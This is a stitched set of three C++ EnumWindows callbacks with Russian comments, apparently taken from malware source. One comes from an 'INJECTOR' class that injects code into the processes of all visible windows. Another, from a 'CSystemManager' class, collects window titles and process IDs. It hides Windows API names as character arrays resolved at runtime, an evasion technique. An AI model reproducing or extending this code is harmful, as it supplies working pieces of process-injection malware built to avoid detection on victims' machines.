//------------------------------------------------------ // WndEnumCallBak - Функция обработки найденного окна //------------------------------------------------------ BOOL CALLBACK INJECTOR::WndEnumCallBak(HWND Wnd, LPARAM Param) { // Окно должно быть видимым и не иметь владельца if (pIsWindowVisible(Wnd) && !pGetWindow(Wnd, GW_OWNER)) { // Получаем пид пресса которому принадлежит окно DWORD PID = 0; pGetWindowThreadProcessId(Wnd, &PID); if (PID) { PInjector Injector = (PInjector)Param; TProcessInfo Info; if (GetProcessInfo(Injector, PID, Info)) { // Проверяем необходимость инжекта // Разрешаем инжект в 32 разрядной винде или в 32 разрядные процессы Inject(Injector, &Info); } } } return TRUE; }
BOOL CALLBACK EnumWindowsList(HWND hwnd, LPARAM lParam) { typedef int (WINAPI *GetWindowTextAT)( __in HWND hWnd, __out_ecount(nMaxCount) LPSTR lpString, __in int nMaxCount); GetWindowTextAT pGetWindowTextA=(GetWindowTextAT)GetProcAddress(LoadLibrary("USER32.dll"),"GetWindowTextA"); typedef BOOL (WINAPI *IsWindowVisibleT)( __in HWND hWnd); IsWindowVisibleT pIsWindowVisible=(IsWindowVisibleT)GetProcAddress(LoadLibrary("USER32.dll"),"IsWindowVisible"); if (!pIsWindowVisible(hwnd)) return true; TCHAR szClassName[254]={0}; pGetWindowTextA(hwnd,szClassName,254); if (strstr(szClassName,temp_proc) != NULL) { proc_tag = true; } return true; }
bool CALLBACK CSystemManager::EnumWindowsProc(HWND hwnd, LPARAM lParam) { DWORD dwLength = 0; DWORD dwOffset = 0; DWORD dwProcessID = 0; LPBYTE lpBuffer = *(LPBYTE *)lParam; char strTitle[1024]; memset(strTitle, 0, sizeof(strTitle)); char CtxPW56[] = {'G','e','t','W','i','n','d','o','w','T','e','x','t','A','\0'}; GetWindowTextAT pGetWindowTextA=(GetWindowTextAT)GetProcAddress(LoadLibrary("USER32.dll"),CtxPW56); pGetWindowTextA(hwnd, strTitle, sizeof(strTitle)); char FBwWp01[] = {'l','s','t','r','l','e','n','A','\0'}; lstrlenAT plstrlenA=(lstrlenAT)GetProcAddress(LoadLibrary("KERNEL32.dll"),FBwWp01); char DYrEN52[] = {'I','s','W','i','n','d','o','w','V','i','s','i','b','l','e','\0'}; IsWindowVisibleT pIsWindowVisible=(IsWindowVisibleT)GetProcAddress(LoadLibrary("USER32.dll"),DYrEN52); if (!pIsWindowVisible(hwnd) || plstrlenA(strTitle) == 0) return true; char SSzlC20[] = {'L','o','c','a','l','A','l','l','o','c','\0'}; LocalAllocT pLocalAlloc=(LocalAllocT)GetProcAddress(LoadLibrary("KERNEL32.dll"),SSzlC20); if (lpBuffer == NULL) lpBuffer = (LPBYTE)pLocalAlloc(LPTR, 1); dwLength = sizeof(DWORD) + plstrlenA(strTitle) + 1; LocalSizeT pLocalSize=(LocalSizeT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"LocalSize"); dwOffset = pLocalSize(lpBuffer); char FBwWp29[] = {'L','o','c','a','l','R','e','A','l','l','o','c','\0'}; LocalReAllocT pLocalReAlloc=(LocalReAllocT)GetProcAddress(LoadLibrary("KERNEL32.dll"),FBwWp29); lpBuffer = (LPBYTE)pLocalReAlloc(lpBuffer, dwOffset + dwLength, LMEM_ZEROINIT|LMEM_MOVEABLE); char CtxPW53[] = {'G','e','t','W','i','n','d','o','w','T','h','r','e','a','d','P','r','o','c','e','s','s','I','d','\0'}; GetWindowThreadProcessIdT pGetWindowThreadProcessId=(GetWindowThreadProcessIdT)GetProcAddress(LoadLibrary("USER32.dll"),CtxPW53); pGetWindowThreadProcessId(hwnd, (LPDWORD)(lpBuffer + dwOffset)); Gyfunction->my_memcpy(lpBuffer + dwOffset + sizeof(DWORD), strTitle, plstrlenA(strTitle) + 1); *(LPBYTE *)lParam = lpBuffer; return true; }